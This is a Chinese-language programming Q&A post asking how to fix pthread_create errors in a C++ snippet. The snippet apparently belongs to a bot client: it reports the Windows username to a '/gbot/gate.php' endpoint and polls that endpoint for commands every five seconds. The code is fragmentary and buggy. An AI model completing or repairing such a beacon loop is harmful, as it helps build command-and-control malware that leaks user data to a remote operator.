【发布时间】:2013-04-10 16:41:11
【问题描述】:
void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
这是我项目中的一段代码。 我想做多线程,但我得到一堆错误。 首先,void* 函数必须得到一个 void* arg,所以我可以通过 SOCKET 发送吗? 另一个错误是:
初始化 `int pthread_create(pthread_t*, pthread_attr_t_* const*, void*()(void), void*)'
我不知道如何解决它,谢谢您的帮助。
【问题讨论】:
标签: c++ windows multithreading